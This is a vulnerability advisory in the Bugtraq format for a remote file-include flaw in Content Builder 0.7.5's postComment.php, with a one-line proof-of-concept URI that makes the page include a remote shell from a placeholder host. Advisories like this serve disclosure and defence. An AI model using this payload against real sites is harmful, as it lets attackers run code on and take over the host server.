Content Builder postComment.php Remote File Include Vulnerability

Bugtraq ID:	25914
Class:	Input Validation Error
CVE:	CVE-2006-3173
Remote:	Yes
Local:	No
Published:	Oct 03 2007 12:00AM
Updated:	May 07 2015 05:35PM
Credit:	Mehrad Ansari Targhi is credited with the discovery of this vulnerability.
Vulnerable:	Jorg Stober Content Builder 0.7.5
Not Vulnerable:

Content Builder postComment.php Remote File Include Vulnerability

Content*Builder (C*B) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

C*B 0.7.5 is vulnerable; other versions may also be affected.

Content Builder postComment.php Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a=

Content Builder postComment.php Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Content Builder postComment.php Remote File Include Vulnerability

References:

• Content Builder Homepage (Jorg Stober)
  
• Content Builder 0.7.5 RFI Bug ([email protected])